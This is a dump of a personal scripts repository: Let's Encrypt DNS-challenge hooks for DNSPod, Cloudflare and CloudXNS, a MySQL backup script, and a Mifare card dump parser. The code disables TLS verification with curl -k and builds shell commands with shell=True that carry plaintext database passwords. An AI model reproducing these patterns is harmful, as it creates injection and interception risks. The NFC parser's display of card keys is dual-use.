[crontab.guru](http://crontab.guru/) 进行自定义 96 | 97 | ## dnspod 98 | 99 | **下载** 100 | 101 | ``` 102 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/le-dnspod.sh 103 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/dnspod.conf 104 | chmod +x le-dnspod.sh 105 | ``` 106 | 107 | **配置** 108 | 109 | `dnspod.conf` 文件内容 110 | 111 | ``` 112 | TOKEN="YOUR_TOKEN_ID,YOUR_API_TOKEN" 113 | RECORD_LINE="默认" 114 | DOMAIN="example.com" 115 | CERT_DOMAINS="example.com www.example.com im.example.com" 116 | #ECC=TRUE 117 | ``` 118 | 119 | 修改其中的 `TOKEN` 为您的 [dnspod api token](https://www.dnspod.cn/console/user/security) ,注意格式为`123456,556cxxxx`。 120 | 修改 `DOMAIN` 为你的根域名,修改 `CERT_DOMAINS` 为您要签的域名列表,需要 `ECC` 证书时请取消 `#ECC=TRUE` 的注释。 121 | 122 | **运行** 123 | 124 | `./le-dnspod.sh dnspod.conf` 125 | 126 | 最后生成的文件在当前目录的 certs 目录下 127 | 128 | **cron 定时任务** 129 | 130 | 如果证书过期时间不少于30天, [letsencrypt.sh](https://github.com/lukas2511/letsencrypt.sh) 脚本会自动忽略更新,所以至少需要29天运行一次更新。 131 | 132 | 每隔20天(每个月的5号和25号)自动更新一次证书,可以在 `le-dnspod.sh` 脚本最后加入 service nginx reload等重新加载服务。 133 | 134 | `0 0 5/20 * * /etc/nginx/le-dnspod.sh /etc/nginx/le-dnspod.conf >> /var/log/le-dnspod.log 2>&1` 135 | 136 | **注意** `ubuntu 16.04` 不能定义 `day of month` 含有开始天数的 `step values`,可以替换命令中的 `5/20` 为 `5,25`。 137 | 138 | 更详细的 crontab 参数请参考 [crontab.guru](http://crontab.guru/) 进行自定义 139 | -------------------------------------------------------------------------------- /le-dns/cloudflare-hook.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function deploy_challenge { 4 | local DOMAIN="${1}" TOKEN_FILENAME="${2}" TOKEN_VALUE="${3}" 5 | echo "$DOMAIN" "$TOKEN_FILENAME" "$TOKEN_VALUE" 6 | ./cloudflare.sh "$CONFIG" "$DOMAIN" "$TOKEN_VALUE" 7 | sleep 15 8 | } 9 | 10 | function clean_challenge { 11 | local DOMAIN="${1}" TOKEN_FILENAME="${2}" TOKEN_VALUE="${3}" 12 | } 13 | 14 | function deploy_cert { 15 | local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" CHAINFILE="${4}" 16 | } 17 | 18 | function unchanged_cert { 19 | local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" FULLCHAINFILE="${4}" CHAINFILE="${5}" 20 | } 21 | 22 | function invalid_challenge { 23 | local DOMAIN="${1}" RESPONSE="${2}" 24 | } 25 | 26 | function request_failure { 27 | local STATUSCODE="${1}" REASON="${2}" REQTYPE="${3}" HEADERS="${4}" 28 | } 29 | 30 | function generate_csr { 31 | local DOMAIN="${1}" CERTDIR="${2}" ALTNAMES="${3}" 32 | } 33 | 34 | function startup_hook { 35 | : 36 | } 37 | 38 | function exit_hook { 39 | : 40 | } 41 | 42 | HANDLER="$1"; shift 43 | if [[ "${HANDLER}" =~ ^(deploy_challenge|clean_challenge|deploy_cert|unchanged_cert|invalid_challenge|request_failure|generate_csr|startup_hook|exit_hook)$ ]]; then 44 | "$HANDLER" "$@" 45 | fi 46 | 47 | -------------------------------------------------------------------------------- /le-dns/cloudflare.conf: -------------------------------------------------------------------------------- 1 | CF_EMAIL="YOUR_EMAIL@gmail.com" 2 | CF_TOKEN="YOUR_API_TOKEN" 3 | DOMAIN="example.com" 4 | CERT_DOMAINS="example.com www.example.com" 5 | #ECC=TRUE 6 | 7 | -------------------------------------------------------------------------------- /le-dns/cloudflare.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | CONFIG=$1 4 | DOMAIN_FULL=$2 5 | TXT_TOKEN=$3 6 | 7 | if [ ! -f "$CONFIG" ];then 8 | echo "ERROR, CONFIG NOT EXIST." 9 | exit 1 10 | fi 11 | 12 | # shellcheck source=/dev/null 13 | . "$CONFIG" 14 | 15 | SUB_DOMAIN=${DOMAIN_FULL%$DOMAIN} 16 | 17 | HOST="_acme-challenge.${DOMAIN_FULL}" 18 | 19 | # we get them automatically for you 20 | CF_ZONE_ID="" 21 | CF_DOMAIN_ID="" 22 | 23 | jsonValue() { 24 | KEY=$1 25 | num=$2 26 | awk -F"[,:}]" '{for(i=1;i<=NF;i++){if($i~/'"$KEY"'\042/){print $(i+1)}}}' | tr -d '"' | sed -n "${num}"p 27 | } 28 | 29 | 30 | getZoneID() { 31 | CF_ZONE_ID=$(curl -s \ 32 | -X GET "https://api.cloudflare.com/client/v4/zones?name=${DOMAIN}" \ 33 | -H "X-Auth-Email: ${CF_EMAIL}" \ 34 | -H "X-Auth-Key: ${CF_TOKEN}" \ 35 | -H "Content-Type: application/json"| \ 36 | jsonValue id 1) 37 | } 38 | 39 | getDomainID() { 40 | CF_DOMAIN_ID=$(curl -s \ 41 | -X GET "https://api.cloudflare.com/client/v4/zones/${CF_ZONE_ID}/dns_records?name=${HOST}" \ 42 | -H "X-Auth-Email: ${CF_EMAIL}" \ 43 | -H "X-Auth-Key: ${CF_TOKEN}" \ 44 | -H "Content-Type: application/json" | \ 45 | jsonValue id 1) 46 | } 47 | 48 | createDomain() { 49 | RESULT=$(curl -s \ 50 | -X POST "https://api.cloudflare.com/client/v4/zones/${CF_ZONE_ID}/dns_records" \ 51 | -H "X-Auth-Email: ${CF_EMAIL}" \ 52 | -H "X-Auth-Key: ${CF_TOKEN}" \ 53 | -H "Content-Type: application/json" \ 54 | --data '{"type":"TXT","name":"'"${HOST}"'","content":"'"${TXT_TOKEN}"'","ttl":1,"proxied":false}' | \ 55 | jsonValue success 1) 56 | 57 | if [ "$RESULT" = "true" ];then 58 | echo "$(date) -- Update success" 59 | else 60 | echo "$(date) -- Update failed" 61 | fi 62 | 63 | } 64 | 65 | updateDomain() { 66 | RESULT=$(curl -s \ 67 | -X PUT "https://api.cloudflare.com/client/v4/zones/${CF_ZONE_ID}/dns_records/${CF_DOMAIN_ID}" \ 68 | -H "X-Auth-Email: ${CF_EMAIL}" \ 69 | -H "X-Auth-Key: ${CF_TOKEN}" \ 70 | -H "Content-Type: application/json" \ 71 | --data '{"type":"TXT","name":"'"${HOST}"'","content":"'"${TXT_TOKEN}"'","ttl":1,"proxied":false}' | \ 72 | jsonValue success 1) 73 | 74 | if [ "$RESULT" = "true" ];then 75 | echo "$(date) -- Update success" 76 | else 77 | echo "$(date) -- Update failed" 78 | fi 79 | 80 | } 81 | 82 | getZoneID 83 | getDomainID 84 | 85 | if [ -z "$CF_DOMAIN_ID" ];then 86 | createDomain 87 | else 88 | updateDomain 89 | fi 90 | 91 | -------------------------------------------------------------------------------- /le-dns/cloudxns-hook.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | deploy_challenge() { 4 | local DOMAIN="${1}" TOKEN_FILENAME="${2}" TOKEN_VALUE="${3}" 5 | echo "$DOMAIN" "$TOKEN_FILENAME" "$TOKEN_VALUE" 6 | ./cloudxns.sh "$CONFIG" "$DOMAIN" "$TOKEN_VALUE" 7 | sleep 5 8 | } 9 | 10 | clean_challenge() { 11 | local DOMAIN="${1}" TOKEN_FILENAME="${2}" TOKEN_VALUE="${3}" 12 | } 13 | 14 | deploy_cert() { 15 | local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" FULLCHAINFILE="${4}" CHAINFILE="${5}" TIMESTAMP="${6}" 16 | } 17 | 18 | unchanged_cert() { 19 | local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" FULLCHAINFILE="${4}" CHAINFILE="${5}" 20 | } 21 | 22 | invalid_challenge() { 23 | local DOMAIN="${1}" RESPONSE="${2}" 24 | } 25 | 26 | request_failure() { 27 | local STATUSCODE="${1}" REASON="${2}" REQTYPE="${3}" 28 | } 29 | 30 | function generate_csr { 31 | local DOMAIN="${1}" CERTDIR="${2}" ALTNAMES="${3}" 32 | } 33 | 34 | function startup_hook { 35 | : 36 | } 37 | 38 | function exit_hook { 39 | : 40 | } 41 | 42 | HANDLER="$1"; shift 43 | if [[ "${HANDLER}" =~ ^(deploy_challenge|clean_challenge|deploy_cert|unchanged_cert|invalid_challenge|request_failure|generate_csr|startup_hook|exit_hook)$ ]]; then 44 | "$HANDLER" "$@" 45 | fi 46 | -------------------------------------------------------------------------------- /le-dns/cloudxns.conf: -------------------------------------------------------------------------------- 1 | API_KEY="YOUR_API_KEY" 2 | SECRET_KEY="YOUR_SECRET_KEY" 3 | DOMAIN="example.com" 4 | CERT_DOMAINS="example.com www.example.com im.example.com" 5 | #ECC=TRUE 6 | -------------------------------------------------------------------------------- /le-dns/cloudxns.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CONFIG=$1 4 | DOMAIN_FULL=$2 5 | TXT_TOKEN=$3 6 | 7 | if [ ! -f "$CONFIG" ];then 8 | echo "ERROR, CONFIG NOT EXIST." 9 | exit 1 10 | fi 11 | 12 | . "$CONFIG" 13 | 14 | SUB_DOMAIN=${DOMAIN_FULL%$DOMAIN} 15 | 16 | if [ -z "$SUB_DOMAIN" ];then 17 | HOST="_acme-challenge" 18 | else 19 | HOST="_acme-challenge.${SUB_DOMAIN%.}" 20 | fi 21 | 22 | URL_D="https://www.cloudxns.net/api2/domain" 23 | DATE=$(date) 24 | HMAC_D=$(echo -n "$API_KEY$URL_D$DATE$SECRET_KEY"|md5sum|cut -d" " -f1) 25 | DOMAIN_ID=$(curl -k -s $URL_D -H "API-KEY: $API_KEY" -H "API-REQUEST-DATE: $DATE" -H "API-HMAC: $HMAC_D"|grep -o "id\":\"[0-9]*\",\"domain\":\"$DOMAIN"|grep -o "[0-9]*"|head -n1) 26 | 27 | echo "DOMAIN ID: $DOMAIN_ID" 28 | 29 | URL_R="https://www.cloudxns.net/api2/record/$DOMAIN_ID?host_id=0&row_num=500" 30 | HMAC_R=$(echo -n "$API_KEY$URL_R$DATE$SECRET_KEY"|md5sum|cut -d" " -f1) 31 | RECORD_ID=$(curl -k -s "$URL_R" -H "API-KEY: $API_KEY" -H "API-REQUEST-DATE: $DATE" -H "API-HMAC: $HMAC_R"|grep -o "record_id\":\"[0-9]*\",\"host_id\":\"[0-9]*\",\"host\":\"$HOST\""|grep -o "record_id\":\"[0-9]*"|grep -o "[0-9]*"|head -n1) 32 | 33 | echo "RECORD ID: $RECORD_ID" 34 | 35 | if [ -z "$RECORD_ID" ];then 36 | URL_U="https://www.cloudxns.net/api2/record" 37 | CURLX="POST" 38 | else 39 | URL_U="https://www.cloudxns.net/api2/record/$RECORD_ID" 40 | CURLX="PUT" 41 | fi 42 | 43 | PARAM_BODY="{\"domain_id\":\"$DOMAIN_ID\",\"host\":\"$HOST\",\"value\":\"$TXT_TOKEN\",\"type\":\"TXT\",\"line_id\":1,\"ttl\":60}" 44 | HMAC_U=$(echo -n "$API_KEY$URL_U$PARAM_BODY$DATE$SECRET_KEY"|md5sum|cut -d" " -f1) 45 | 46 | RESULT=$(curl -k -s "$URL_U" -X "$CURLX" -d "$PARAM_BODY" -H "API-KEY: $API_KEY" -H "API-REQUEST-DATE: $DATE" -H "API-HMAC: $HMAC_U" -H 'Content-Type: application/json') 47 | 48 | echo "$RESULT" 49 | 50 | RES=$(echo -n "$RESULT"|grep -o "message\":\"success\"" -c) 51 | 52 | if [ "$RES" = 1 ];then 53 | echo "$(date) -- Update success" 54 | else 55 | echo "$(date) -- Update failed" 56 | fi 57 | -------------------------------------------------------------------------------- /le-dns/dnspod-hook.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | deploy_challenge() { 4 | local DOMAIN="${1}" TOKEN_FILENAME="${2}" TOKEN_VALUE="${3}" 5 | echo "$DOMAIN" "$TOKEN_FILENAME" "$TOKEN_VALUE" 6 | ./dnspod.sh "$CONFIG" "$DOMAIN" "$TOKEN_VALUE" 7 | sleep 5 8 | } 9 | 10 | clean_challenge() { 11 | local DOMAIN="${1}" TOKEN_FILENAME="${2}" TOKEN_VALUE="${3}" 12 | } 13 | 14 | deploy_cert() { 15 | local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" FULLCHAINFILE="${4}" CHAINFILE="${5}" TIMESTAMP="${6}" 16 | } 17 | 18 | unchanged_cert() { 19 | local DOMAIN="${1}" KEYFILE="${2}" CERTFILE="${3}" FULLCHAINFILE="${4}" CHAINFILE="${5}" 20 | } 21 | 22 | invalid_challenge() { 23 | local DOMAIN="${1}" RESPONSE="${2}" 24 | } 25 | 26 | request_failure() { 27 | local STATUSCODE="${1}" REASON="${2}" REQTYPE="${3}" 28 | } 29 | 30 | function generate_csr { 31 | local DOMAIN="${1}" CERTDIR="${2}" ALTNAMES="${3}" 32 | } 33 | 34 | function startup_hook { 35 | : 36 | } 37 | 38 | function exit_hook { 39 | : 40 | } 41 | 42 | HANDLER="$1"; shift 43 | if [[ "${HANDLER}" =~ ^(deploy_challenge|clean_challenge|deploy_cert|unchanged_cert|invalid_challenge|request_failure|generate_csr|startup_hook|exit_hook)$ ]]; then 44 | "$HANDLER" "$@" 45 | fi 46 | -------------------------------------------------------------------------------- /le-dns/dnspod.conf: -------------------------------------------------------------------------------- 1 | TOKEN="YOUR_TOKEN_ID,YOUR_API_TOKEN" 2 | RECORD_LINE="默认" 3 | DOMAIN="example.com" 4 | CERT_DOMAINS="example.com www.example.com im.example.com" 5 | #ECC=TRUE 6 | -------------------------------------------------------------------------------- /le-dns/dnspod.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CONFIG=$1 4 | DOMAIN_FULL=$2 5 | TXT_TOKEN=$3 6 | HEADERS="User-Agent: le-dns/1.0.0 (me@linsir.org) " 7 | 8 | if [ ! -f "$CONFIG" ];then 9 | echo "ERROR, CONFIG NOT EXIST." 10 | exit 1 11 | fi 12 | 13 | . "$CONFIG" 14 | 15 | SUB_DOMAIN=${DOMAIN_FULL%$DOMAIN} 16 | 17 | if [ -z "$SUB_DOMAIN" ];then 18 | HOST="_acme-challenge" 19 | else 20 | HOST="_acme-challenge.${SUB_DOMAIN%.}" 21 | fi 22 | 23 | OPTIONS="login_token=${TOKEN}"; 24 | OUT=$(curl -s -k "https://dnsapi.cn/Domain.List" -H "${HEADERS}" -d "${OPTIONS}&keyword=${DOMAIN}"); 25 | # echo $OUT 26 | RES=$(echo $OUT | python get.py) 27 | 28 | for line in $RES; do 29 | DOMAIN_ID=$(echo $line |awk -F ':' '{print $1}') 30 | DOMAIN_NAME=$(echo $line |awk -F ':' '{print $2}') 31 | if [ "$DOMAIN_NAME" = "$DOMAIN" ];then 32 | break; 33 | fi 34 | done 35 | 36 | echo "DOMAIN_NAME: $DOMAIN_NAME DOMAIN_ID: $DOMAIN_ID" 37 | 38 | if [ "$DOMAIN_NAME" = "" ] || [ "$DOMAIN_ID" = "" ]; then 39 | echo "Can not get then DOMAIN_ID and DOMAIN_NAME, STOP NOW !!!" 40 | exit 1 41 | fi 42 | 43 | OUT=$(curl -s -k "https://dnsapi.cn/Record.List" -H "${HEADERS}" -d "${OPTIONS}&domain_id=${DOMAIN_ID}&record_type=TXT&sub_domain=$HOST") 44 | # echo $OUT 45 | RES=$(echo $OUT | python get.py) 46 | 47 | for line in $RES; do 48 | RECORD_ID=$(echo $line |awk -F ':' '{print $1}') 49 | RECORD_NAME=$(echo $line |awk -F ':' '{print $2}') 50 | if [ "$DOMAIN_NAME" = "$HOST" ];then 51 | break; 52 | fi 53 | done 54 | echo "RECORD_NAME: $RECORD_NAME RECORD_ID: $RECORD_ID" 55 | 56 | echo "POST data: ${OPTIONS}&domain_id=${DOMAIN_ID}&sub_domain=${HOST}&record_line=${RECORD_LINE}&record_type=TXT&value=${TXT_TOKEN}" 57 | if [ "$RECORD_NAME" = "$HOST" ];then 58 | echo "UPDATE RECORD" 59 | OUT=$(curl -k -s "https://dnsapi.cn/Record.Modify" -H "${HEADERS}" -d "${OPTIONS}&domain_id=${DOMAIN_ID}&record_id=${RECORD_ID}&sub_domain=${HOST}&record_line=${RECORD_LINE}&record_type=TXT&value=${TXT_TOKEN}") 60 | else 61 | echo "NEW RECORD" 62 | OUT=$(curl -k -s "https://dnsapi.cn/Record.Create" -H "${HEADERS}" -d "${OPTIONS}&domain_id=${DOMAIN_ID}&sub_domain=${HOST}&record_line=${RECORD_LINE}&record_type=TXT&value=${TXT_TOKEN}") 63 | fi 64 | 65 | if [ "$(echo "$OUT"|grep 'successful' -c)" != 0 ];then 66 | echo "DNS UPDATE SUCCESS" 67 | else 68 | echo "DNS UPDATE FAILED" 69 | fi 70 | -------------------------------------------------------------------------------- /le-dns/get.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | ''' 4 | @Description: 5 | @Author: Linsir 6 | @Github: https://github.com/linsir 7 | @Date: 2020-05-11 14:13:06 8 | @LastEditors: Linsir 9 | @LastEditTime: 2020-05-11 14:43:43 10 | ''' 11 | 12 | import sys, json 13 | 14 | res = sys.stdin.read() 15 | 16 | try: 17 | data_list = json.loads(res)['domains'] 18 | except Exception as e: 19 | # print("not hit domains") 20 | pass 21 | 22 | try: 23 | data_list = json.loads(res)['records'] 24 | except Exception as e: 25 | # print("not hit records") 26 | pass 27 | 28 | 29 | for data in data_list: 30 | print("{}:{}".format(data["id"], data["name"])) -------------------------------------------------------------------------------- /le-dns/le-cloudflare.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export CONFIG=$1 4 | 5 | if [ -f "$CONFIG" ];then 6 | . "$CONFIG" 7 | DIRNAME=$(dirname "$CONFIG") 8 | cd "$DIRNAME" || exit 1 9 | else 10 | echo "ERROR CONFIG." 11 | exit 1 12 | fi 13 | 14 | echo "$CERT_DOMAINS" > domains.txt 15 | 16 | if [ ! -f "cloudflare.sh" ];then 17 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/cloudflare.sh -O cloudflare.sh -o /dev/null 18 | chmod +x cloudflare.sh 19 | fi 20 | 21 | if [ ! -f "cloudflare-hook.sh" ];then 22 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/cloudflare-hook.sh -O cloudflare-hook.sh -o /dev/null 23 | chmod +x cloudflare-hook.sh 24 | fi 25 | 26 | if [ ! -f "letsencrypt.sh" ];then 27 | wget https://raw.githubusercontent.com/lukas2511/dehydrated/master/dehydrated -O letsencrypt.sh -o /dev/null 28 | chmod +x letsencrypt.sh 29 | fi 30 | 31 | if [ "$ECC" = "TRUE" ];then 32 | ./letsencrypt.sh -c -k ./cloudflare-hook.sh -t dns-01 -a secp384r1 33 | else 34 | ./letsencrypt.sh -c -k ./cloudflare-hook.sh -t dns-01 35 | fi 36 | 37 | chown -R www-data:www-data certs 38 | -------------------------------------------------------------------------------- /le-dns/le-cloudxns.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export CONFIG=$1 4 | 5 | if [ -f "$CONFIG" ];then 6 | . "$CONFIG" 7 | DIRNAME=$(dirname "$CONFIG") 8 | cd "$DIRNAME" || exit 1 9 | else 10 | echo "ERROR CONFIG." 11 | exit 1 12 | fi 13 | 14 | echo "$CERT_DOMAINS" > domains.txt 15 | 16 | if [ ! -f "cloudxns.sh" ];then 17 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/cloudxns.sh -O cloudxns.sh -o /dev/null 18 | chmod +x cloudxns.sh 19 | fi 20 | 21 | if [ ! -f "cloudxns-hook.sh" ];then 22 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/cloudxns-hook.sh -O cloudxns-hook.sh -o /dev/null 23 | chmod +x cloudxns-hook.sh 24 | fi 25 | 26 | if [ ! -f "letsencrypt.sh" ];then 27 | wget https://raw.githubusercontent.com/lukas2511/dehydrated/master/dehydrated -O letsencrypt.sh -o /dev/null 28 | chmod +x letsencrypt.sh 29 | fi 30 | 31 | ./letsencrypt.sh --register --accept-terms 32 | 33 | if [ "$ECC" = "TRUE" ];then 34 | ./letsencrypt.sh -c -k ./cloudxns-hook.sh -t dns-01 -a secp384r1 35 | else 36 | ./letsencrypt.sh -c -k ./cloudxns-hook.sh -t dns-01 37 | fi 38 | -------------------------------------------------------------------------------- /le-dns/le-dnspod.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export CONFIG=$1 4 | 5 | if [ -f "$CONFIG" ];then 6 | . "$CONFIG" 7 | DIRNAME=$(dirname "$CONFIG") 8 | cd "$DIRNAME" || exit 1 9 | else 10 | echo "ERROR CONFIG." 11 | exit 1 12 | fi 13 | 14 | echo "$CERT_DOMAINS" > domains.txt 15 | 16 | if [ ! -f "dnspod.sh" ];then 17 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/dnspod.sh -O dnspod.sh -o /dev/null 18 | chmod +x dnspod.sh 19 | fi 20 | 21 | if [ ! -f "dnspod-hook.sh" ];then 22 | wget https://github.com/linsir/pyscripts/raw/master/le-dns/dnspod-hook.sh -O dnspod-hook.sh -o /dev/null 23 | chmod +x dnspod-hook.sh 24 | fi 25 | 26 | if [ ! -f "letsencrypt.sh" ];then 27 | wget https://raw.githubusercontent.com/lukas2511/dehydrated/master/dehydrated -O letsencrypt.sh -o /dev/null 28 | chmod +x letsencrypt.sh 29 | fi 30 | 31 | ./letsencrypt.sh --register --accept-terms 32 | 33 | if [ "$ECC" = "TRUE" ];then 34 | ./letsencrypt.sh -c -k ./dnspod-hook.sh -t dns-01 -a secp384r1 35 | else 36 | ./letsencrypt.sh -c -k ./dnspod-hook.sh -t dns-01 37 | fi 38 | -------------------------------------------------------------------------------- /mysql/README.md: -------------------------------------------------------------------------------- 1 | # mysql tools 2 | 3 | - mysql_backup.py: 备份mysql db 脚本,支持多个数据库. 4 | -------------------------------------------------------------------------------- /mysql/mysql_backup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # @Date : 2016-04-13 09:38:20 4 | # @Author : Linsir (root@linsir.org) 5 | # @Link : http://linsir.org 6 | # @Version : 0.1 7 | 8 | import subprocess 9 | import time 10 | from datetime import datetime, timedelta 11 | import logging 12 | 13 | backup_file_path = "/home/data/mysqlbak" 14 | # backup_file_path = "./" 15 | data = [ 16 | { 17 | "db_host": "127.0.0.1", 18 | "db_name": "db1", 19 | "db_user": "user", 20 | "db_password": "password", 21 | }, 22 | { 23 | "db_host": "127.0.0.1", 24 | "db_name": "dbv2", 25 | "db_user": "user", 26 | "db_password": "password", 27 | }, 28 | ] 29 | 30 | # 格式化时间, 默认返回当前时间 31 | def fmt_time(fmt='%Y-%m-%d %H:%M:%S', seconds=None): 32 | if not seconds: seconds = time.time() 33 | t = datetime.utcfromtimestamp(seconds) 34 | t = t + timedelta(hours=+8) # 时区 35 | return t.strftime(fmt) 36 | 37 | log_name = '%s/mysql_backup_%s.log'%(backup_file_path, fmt_time('%Y-%m-%d')) 38 | logging.basicConfig( 39 | level=logging.DEBUG, 40 | format='%(asctime)s %(levelname)s %(message)s', 41 | datefmt='%m/%d/%Y %H:%M:%S', 42 | filename=log_name, 43 | filemode='w', 44 | ) 45 | 46 | def backup_db(db_name, db_user, db_password, db_host='127.0.0.1'): 47 | time = fmt_time('%Y-%m-%d') 48 | db_filename = "%s/%s_%s_sql.gz" %(backup_file_path, db_name, time) 49 | command = "mysqldump -h%s -u%s -p%s %s |gzip >%s " %(db_host, db_user, db_password, db_name, db_filename) 50 | p = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE) 51 | info = p.stderr.read() 52 | if info == '': 53 | logging.info("Backup %s Sucessful..."%db_name) 54 | return '%s : Sucess\n'%db_name 55 | else: 56 | logging.error("Failed to backup %s ..."%db_name) 57 | logging.error(info) 58 | command = 'rm -f %s'%db_filename 59 | subprocess.call(command,shell=True) 60 | return '%s : Failed\n'%db_name 61 | 62 | def backup_from_list(list=data): 63 | starttime = time.time() 64 | line = "\n----------------------\n" 65 | backup_result = '' 66 | logging.info(line + 'Backup stared..') 67 | for db in data: 68 | db_name = db["db_name"] 69 | db_user = db["db_user"] 70 | db_password = db["db_password"] 71 | db_host = db['db_host'] 72 | backup_result = backup_result + backup_db(db_name,db_user,db_password,db_host) 73 | ### 74 | delete_expires_files() 75 | endtime = time.time() 76 | time_info = line + "Total used time: %.2fs." %(endtime - starttime) 77 | logging.info(line + backup_result + time_info) 78 | return backup_result 79 | 80 | def delete_expires_files(day=7): 81 | command = 'find %s \( -name "*_sql.gz" -or -name "*.log" \) -type f +mtime +%s -exec rm -f {} \;' %(backup_file_path, day) 82 | subprocess.Popen(command, shell=True, stderr=subprocess.PIPE) 83 | info = "Already delelte the expires files %s days ago.."%day 84 | logging.info(info) 85 | 86 | if __name__ == '__main__': 87 | backup_from_list() 88 | # delete_expires_files() 89 | # print fmt_time() 90 | # backup_db("db_name", "db_user", "db_password") 91 | # delete_expires_files() 92 | 93 | -------------------------------------------------------------------------------- /nfc/README.md: -------------------------------------------------------------------------------- 1 | # nfc tools 2 | 3 | - mfdread.py: ic卡dump文件可视化查看 4 | ![Mifare mfd dump parser](https://zhovner.com/forever/mfdread1.png) 5 | - pm3_bin2eml.py: bin file convert to eml file for Proxmark3.(from ) 6 | - pm3_eml2bin.py: eml file convert to bin file for Proxmark3.(from ) 7 | -------------------------------------------------------------------------------- /nfc/mfdread.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # mfdread.py - Mifare dumps parser in human readable format 5 | # Pavel Zhovner 6 | # https://github.com/zhovner/mfdread 7 | 8 | 9 | 10 | import codecs 11 | import sys 12 | from struct import unpack 13 | from datetime import datetime 14 | from bitstring import BitArray 15 | 16 | 17 | if len(sys.argv) == 1: 18 | print(''' 19 | ------------------ 20 | Usage: mfdread.py ./dump.mfd 21 | Mifare dumps reader. 22 | ''') 23 | sys.exit(); 24 | 25 | 26 | 27 | 28 | class bashcolors: 29 | BLUE = '\033[34m' 30 | RED = '\033[91m' 31 | GREEN = '\033[32m' 32 | WARNING = '\033[93m' 33 | ENDC = '\033[0m' 34 | 35 | 36 | def accbits_for_blocknum(accbits_str, blocknum): 37 | ''' 38 | Decodes the access bit string for block "blocknum". 39 | Returns the three access bits for the block or False if the 40 | inverted bits do not match the access bits. 41 | ''' 42 | bits = BitArray([0]) 43 | inverted = BitArray([0]) 44 | # Block 0 access bits 45 | if blocknum == 0: 46 | bits = BitArray([accbits_str[11], accbits_str[23], accbits_str[19]]) 47 | inverted = BitArray([accbits_str[7], accbits_str[3], accbits_str[15]]) 48 | 49 | # Block 0 access bits 50 | elif blocknum == 1: 51 | bits = BitArray([accbits_str[10], accbits_str[22], accbits_str[18]]) 52 | inverted = BitArray([accbits_str[6], accbits_str[2], accbits_str[14]]) 53 | # Block 0 access bits 54 | elif blocknum == 2: 55 | bits = BitArray([accbits_str[9], accbits_str[21], accbits_str[17]]) 56 | inverted = BitArray([accbits_str[5], accbits_str[1], accbits_str[13]]) 57 | # Sector trailer / Block 3 access bits 58 | elif blocknum == 3: 59 | bits = BitArray([accbits_str[8], accbits_str[20], accbits_str[16]]) 60 | inverted = BitArray([accbits_str[4], accbits_str[0], accbits_str[12]]) 61 | 62 | # Check the decoded bits 63 | inverted.invert() 64 | if bits.bin == inverted.bin: 65 | return bits 66 | else: 67 | return False 68 | 69 | 70 | 71 | 72 | def accbit_info(accbits): 73 | ''' 74 | Returns a dictionary of a access bits for all three blocks in a sector. 75 | If the access bits for block could not be decoded properly, the value is set to False. 76 | ''' 77 | decAccbits = {} 78 | # Decode access bits for all 4 blocks of the sector 79 | for i in range(0, 4): 80 | decAccbits[i] = accbits_for_blocknum(accbits, i) 81 | return decAccbits 82 | 83 | 84 | 85 | 86 | 87 | def print_info(data): 88 | 89 | blocksmatrix = [] 90 | blockrights = {} 91 | 92 | # determine what dump we get 1k or 4k 93 | if len(data) == 4096: 94 | cardsize = 64 95 | elif len(data) == 1024: 96 | cardsize = 16 97 | else: 98 | print("Wrong file size: %d bytes.\nOnly 1024 or 4096 allowed." % len(data)) 99 | sys.exit(); 100 | 101 | # read all sectors 102 | for i in range(0, cardsize): 103 | start = i * 64 104 | end = (i + 1) * 64 105 | sector = data[start:end] 106 | sector = codecs.encode(sector, 'hex') 107 | if not type(sector) is str: 108 | sector = str(sector, 'ascii') 109 | blocksmatrix.append([sector[x:x+32] for x in range(0, len(sector), 32)]) 110 | 111 | # add colors for each keyA, access bits, KeyB 112 | for c in range(0, len(blocksmatrix)): 113 | # Fill in the access bits 114 | blockrights[c] = accbit_info(BitArray('0x'+blocksmatrix[c][3][12:20])) 115 | # Prepare colored output of the sector trailor 116 | keyA = bashcolors.RED + blocksmatrix[c][3][0:12] + bashcolors.ENDC 117 | accbits = bashcolors.GREEN + blocksmatrix[c][3][12:20] + bashcolors.ENDC 118 | keyB = bashcolors.BLUE + blocksmatrix[c][3][20:32] + bashcolors.ENDC 119 | blocksmatrix[c][3] = keyA + accbits + keyB 120 | 121 | 122 | print("File size: %d bytes. Expected %d sectors" %(len(data),cardsize)) 123 | print("\n\tUID: " + blocksmatrix[0][0][0:8]) 124 | print("\tBCC: " + blocksmatrix[0][0][8:10]) 125 | print("\tSAK: " + blocksmatrix[0][0][10:12]) 126 | print("\tATQA: " + blocksmatrix[0][0][12:14]) 127 | print(" %sKey A%s %sAccess Bits%s %sKey B%s" %(bashcolors.RED,bashcolors.ENDC,bashcolors.GREEN,bashcolors.ENDC,bashcolors.BLUE,bashcolors.ENDC)) 128 | 